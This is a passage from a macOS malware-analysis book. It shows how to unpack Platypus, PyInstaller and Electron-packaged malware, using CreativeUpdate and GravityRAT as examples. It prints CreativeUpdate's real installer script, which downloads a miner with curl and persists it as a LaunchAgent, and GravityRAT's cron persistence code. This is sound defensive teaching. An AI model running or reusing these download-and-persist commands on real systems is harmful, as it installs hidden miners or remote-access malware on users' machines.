point to malware (Figure 5-9).

Figure 5-9: A security warning from MacUpdate

As the links on the site had been compromised, users were inadver-
tently downloading trojanized applications containing malware. The 
malware, named CreativeUpdate, would download and install a persistent 
cryptocurrency miner that malware authors had surreptitiously hosted on 
Adobe’s Creative Cloud servers. 

In a tweet, security researcher Arnaud Abbati noted that it was packaged 
up via Platypus.17 Recall that applications created by Platypus bundle up the 
script into Contents/Resources/script. If we look at a trojanized application, in this 
case Firefox, infected with CreativeUpdate, we !nd such a script (Figure 5-10).

Figure 5-10: A malicious installer script embedded via Platypus (CreativeUpdate)
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This script is shown in Listing 5-22:

open Firefox.app 1
if [ -f ~/Library/mdworker/mdworker ]; then 
killall MozillaFirefox
else 2
nohup curl -o ~/Library/mdworker.zip  
https://public.adobecc.com/files/1U14RSV3MVAHBMEGVS4LZ42AFNYEFF?content_disposition=attachment 
&& 
unzip -o ~/Library/mdworker.zip -d ~/Library && mkdir -p ~/Library/LaunchAgents && 
mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300 && 
launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf ~/Library/mdworker.zip && 
killall MozillaFirefox &
fi

Listing 5-22: A malicious installer script (CreativeUpdate)

As the script is quite readable, we can easily understand the malicious 
logic. First, it launches the non-trojanized version of Firefox so that noth-
ing appears amiss to the user 1. If the malware is not already installed (to 
~/Library/mdworker/mdworker) the logic in the else clause is executed. This 
downloads and installs a persistent payload from Adobe’s public Creative 
Cloud servers (public.adobecc.com) 2. The payload turns out to be a public 
command line cryptocurrency miner, minergate-cli from MinerGate, as you 
can see by running it with -help (Listing 5-23):18

% ./mdworker -help
  Usage:
  minergate-cli [-version] -user <email> [-proxy <url>] 
                -<currency> <threads> [<gpu intensity>] 
                [-<currency> <threads> [<gpu intensity>] ...] 
                [-o <pool> -u <login> [-t <threads>]
                [-i <gpu intensity>]]

Listing 5-23: MinerGate’s command line cryptocurrency miner

Once we identi!ed the malware as built with Platypus, we were able to 
comprehensively analyze it without having to resort to utilizing complex 
binary analysis methods. 

PyInstaller is a useful tool that can package up a Python script into a 
native macOS binary or application. Unfortunately, malware writers some-
times abuse it, as was the case with the cross-platform malware GravityRAT. 
Found in a binary named Enigma, the macOS version of GravityRAT 
is a compiled Mach-O binary, and strings reveals it was likely built via 
PyInstaller (Listing 5-24):

% file GravityRAT/Enigma
GravityRAT/Enigma: Mach-O 64-bit executable x86_64

% strings - GravityRAT/Enigma
...
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Py_SetPythonHome
Error loading Python lib '%s': dlopen: %s
Error detected starting Python VM.
Python

Listing 5-24: Triaging a binary via file and strings (GravityRAT)

Moreover, the malware’s main function simply calls into PyInstaller’s 
entry point function, pyi_main.

Recognizing that the malware was packaged up with PyInstaller is 
important, as it means we can extract the compiled Python code and then 
fully decompile it. Reading Python code is, of course, far simpler than read-
ing decompiled assembly. One easy way to extract the compiled Python 
code is via the open source PyInstaller Extractor tool (Listing 5-25):19

% python pyinstxtractor.py GravityRAT/Enigma 
[+] Processing Enigma
[+] Pyinstaller version: 2.1+
[+] Python version: 27
[+] Length of package: 17113011 bytes
[+] Found 458 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: Enigma.pyc
[+] Found 828 files in PYZ archive
[+] Successfully extracted pyinstaller archive: Enigma

Listing 5-25: Extracting the contents of a “PyInstallered” binary with pyinstxtractor 
(GravityRAT)

Let’s take a peek at the extracted !les, which PyInstaller Extractor 
places in a directory named Enigma_extracted (Listing 5-26):

% ls -1 Enigma_extracted/
Contents
Crypto
Enigma.pyc
MacOS.so
...

Listing 5-26: Extracted Python files (GravityRAT) 

Most notable is the Enigma.pyc !le, which, based on its !le extension, 
likely contains Python bytecode. You can verify that this is the case by 
running the file command. We can readily decompile this bytecode on a 
site such as https://www.decompiler.com/, which returns Python code. For 
a full analysis of GravityRAT’s macOS variant, including the details of 
the extracted Python logic, see my write-up “Adventures in Anti-Gravity: 
Deconstructing the Mac Variant of GravityRAT.”20

https://www.decompiler.com/
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In fact, GravityRAT has another Mac variant, this time built using 
Electron. This choice allowed the malware authors to create a native 
macOS application from cross-platform JavaScript. We can ascertain that 
this variant is an Electron application by observing the fact that the tro-
janized application, StrongBox.app, is linked against the Electron Framework 
.framework (Listing 5-27):

% otool -L StrongBox.app/Contents/MacOS/StrongBox 
/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa 
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit 
...
@rpath/Electron Framework.framework/Electron Framework 

Listing 5-27: Viewing linked frameworks (including Electron) with otool (GravityRAT)

Moreover, if we examine the application’s Contents/Resources/ directory, 
we !nd a !le named app.asar (Figure 5-11):

Figure 5-11: Archived source code (GravityRAT)

Often, Electron applications are packaged using Electron’s asar archive 
format.21 Luckily, you can unpack these archives with either the asar node 
module or the npx utility, as described in the online tutorial “How to get 
source code of any electron application.”22 In this example, we opt for  
the latter, using npx to unpack the !le into an output directory we name 
appUnpacked (Listing 5-28):

% npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked

Listing 5-28: Unpacking source code with npx (GravityRAT)

The extracted archive contains various !les, the most notable of which 
are the JavaScript !les main.js and signature.js (Figure 5-12).
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Figure 5-12: Unpacked source code files (GravityRAT)

These two JavaScript !les contain the malware’s malicious logic. As 
JavaScript is readily readable when compared to compiled binary code, you 
should be able to understand the malware’s functionality and capabilities. 
For example, in the signature.js !le, we uncover the malware’s persistence 
techniques. Speci!cally, a function named scheduleMac persists a downloaded 
payload as a cron job to run every two minutes by leveraging macOS’s built-in 
crontab command (Listing 5-29) 1.

function scheduleMac(fname,agentTask)
{
  ...
  var poshellMac = loclpth+"/"+fname;
  execTask('chmod -R 0700 '  + "\"" +  + "\""  );
   
  ...
  arg = agentTask;
  execTask('crontab -l 2>/dev/null; 
           echo \' */2 * * * * ' + "\"" +poshellMac + "\" " + arg + '\' 
         1 | crontab -', puts22); 
}

Listing 5-29: Persistence via a cron job (GravityRAT) 

For a comprehensive analysis of this Electron-based GravityRAT vari-
ant, including the extraction and analysis of its JavaScript !les, see my 
write-up “Adventures in Anti-Gravity (Part II) Deconstructing the Mac 
Variant of GravityRAT.”23
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As you’ve seen, a compiled binary or application you encounter may 
be nothing more than a wrapper or package containing nonbinary code. 
Once you’ve identi!ed the packaging tool, you may be able to recover the 
nonbinary code to simplify your analysis. 

Up Next
In this chapter, we covered the structure of the Mach-O binary format, 
including headers and relevant load commands. We then discussed various 
static analysis tools that can triage unknown Mach-O binaries and assist in 
their classi!cation. These tools can often provide enough information to 
answer the question, “Is this binary known?” This in turn can allow us to 
ascertain if it has already been classi!ed as benign or malicious, saving us 
valuable analysis time and efforts. 

However, if a binary appears to be malicious but does not match any 
known samples, you’ll need a more comprehensive static analysis tool. This 
tool is the all-powerful disassembler. In the next chapter, we’ll introduce 
advanced reverse-engineering techniques and show how you can leverage a 
disassembler to fully deconstruct almost any Mach-O binary.
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